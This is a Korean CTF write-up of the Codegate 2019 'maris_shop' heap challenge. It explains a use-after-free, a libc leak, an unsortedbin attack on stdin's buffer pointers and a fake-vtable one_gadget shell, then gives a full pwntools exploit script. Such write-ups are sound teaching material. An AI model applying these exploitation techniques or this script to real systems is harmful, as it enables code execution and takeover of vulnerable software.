codegate 2019 maris_shop
파일포인터에 익숙해질겸 다시 풀어본 문제다.
메뉴로 구성되어있는 heap
문제로 보인다.
add
를 하면 item
과 amount
를 입력받고 우리의 chunk
를 하나 만들어주는데 다음과 같은 형태이다.
xxxxxxxxxx
00000000 struc_1 struc ; (sizeof=0x20, mappedto_6)
00000000 item_price dq ?
00000008 item_amount dq ?
00000010 item_name dq 4 dup(?)
00000030 struc_1 ends
(item_name
이 아무리 길어도 4바이트를 안넘으므로 그냥 이렇게 정의했다. 실제론 0x80
바이트)
일단 add
에서 cart_chunk
를 17
번째 인덱스까지 입력받을 수 있다.
다른 곳에서 다 16
바이트 인것처럼 chunk
를 관리해서 처음엔 이게 취약점인 줄 알았는데 이거로 할만한게 없다..
핵심적인 취약점은 따로 있다.
buy
에서 cart_chunk
를 모두 free
시켜준다.
하지만 그에 반해 밑에 for
문에서 free
된 cart_chunk
를 14
번 째 인덱스까지밖에 초기화를 안시킨다.
찾았다! uaf
가 발생한다.
이걸로 libc leak
후 쉘까지 모두 딸 수 있다.
libc leak
은 먼저 16
개의 chunk
를 할당한 뒤 buy
를 이용하여 15
번 째 인덱스만을 남겨두고 모든 chunk
를 cart_chunk
에서 제거한다.
이 때, 할당했던 chunk
들이 top chunk
에 모두 병합될 것이다.
괜찮다.
그 후, 새롭게 15
개의 chunk
를 할당하는데, free
를 시켜주지 않지만 chunk
를 cart_chunk
를 제거해주는 remove
함수를 사용하여 병합된 15
번 째 chunk
까지 쭉 할당을 하자.
최종적으로, 14
개의 chunk
를 다시 할당하면 0
번 째 인덱스와 15
번 째 인덱스의 chunk
가 같은 주소를 가르키고 있을 것이다.
이로써 0
번 째 chunk
를 free
시킨 후, libc leak
을 진행할 수 있게 되었다!
add
함수에서 만약 카트에 담은 물건을 또 담으려고 하면 amount
를 늘릴 수 있게 해주는데, 우리의 chunk
에서 amount
자리는 unsortedbin
의 bk
자리이다.
즉, unsortedbin attack
이 가능해진다.
이를 통해 buf_end
를 덮으면, buf_base
로부터 0x215
만큼 입력받을 수 있고, libc arange
에 fake_vtable
을 만들어 vtable check
를 우회하며 one_gadget
으로 쉘을 따면 된다 ~_~
from pwn import *
#context.log_level= 'debug'
e = ELF('Maris_shop')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def menu(sel):
sla(':', sel)
def add(item, amount):
menu('1')
sla(':', item)
data = ru(':')
if "Amount" in data:
sl(amount)
elif "more" in data:
sl('0')
add(item, amount)
def remove(item):
menu('2')
sla(':', item)
def show(sel, item):
menu('3')
sla(':', sel)
if sel=='1': # show item
sla(':', item)
def buy(sel, item='', yes_or_no=''):
menu('4')
sla(':', sel)
if sel==1: # buy item
sla(':'. item)
else: # buy all
sla(':', yes_or_no)
def fit_crystal_zero():
toggle = False
menu('1')
for _ in range(6):
num = int(s.recvuntil('.', drop=True))
ru('---- ')
price = int(s.recv(2))
log.info('num: {}, price: {}'.format(num, price))
if price == 25:
toggle = True
inputs = num
break
if toggle:
sla(':', str(inputs))
data = s.recv(10)
if "more" in data:
sl('4')
else:
fit_crystal_zero()
else:
sla(':', '1')
data = s.recv(10)
if "more" in data:
sl('0')
fit_crystal_zero()
else:
fit_crystal_zero()
def ex(name, pay):
toggle = False
while True:
menu('1')
for _ in range(6):
num = int(s.recvuntil('.', drop=True).split()[0])
tmp = ru('---- ').split()
tmp = ' '.join(tmp[:-1])
s.recv(2)
if name==tmp:
toggle=True
break
if toggle:
sla(':', str(num))
sla(':', str(pay))
return
else:
sla(':', 'x')
for i in range(16):
add('1', '0')
buy('2', yes_or_no='1')
for i in range(15):
add('1', '0')
remove('0')
for i in range(14):
add('1', '0')
buy('1', '0')
#buy('2', yes_or_no='1')
show('1', '15')
ru('Name: ')
name = s.recvuntil('\n', drop=True)
log.info('name: {}'.format(name))
ru('Amount: ')
leak = int(s.recvuntil('\n', drop=True))
l_base = leak - 0x3c4b78
log.info('l_base: {}'.format(hex(l_base)))
stdout = l_base + l.symbols['_IO_2_1_stdin_']
log.info('stdout: {}'.format(hex(stdout)))
_lock = l_base + 0x3c6790
fake_vtable = l_base + 0x3c49c0
one_list = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = l_base + one_list[2]
dump = '''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
pay = stdout+64 - leak - 0x10
ex(name.strip(), pay)
add('1', '0')
pay = '\x00'*5
pay += p64(_lock)
pay += p64(0)*9
pay += p64(fake_vtable)
pay += p64(0)*2 + p64(one)*0x10
sl(pay)
io()
'system > writeup' 카테고리의 다른 글
2019 hitcon lazyhouse (0) | 2019.11.06 |
---|---|
2019 hitcon trick_or_treat (0) | 2019.11.04 |
2019 hack.lu no_risc_no_future (0) | 2019.11.03 |
2019 hack.lu tcalc (0) | 2019.11.01 |
2018 hctf babyprintf_ver2 (0) | 2019.10.29 |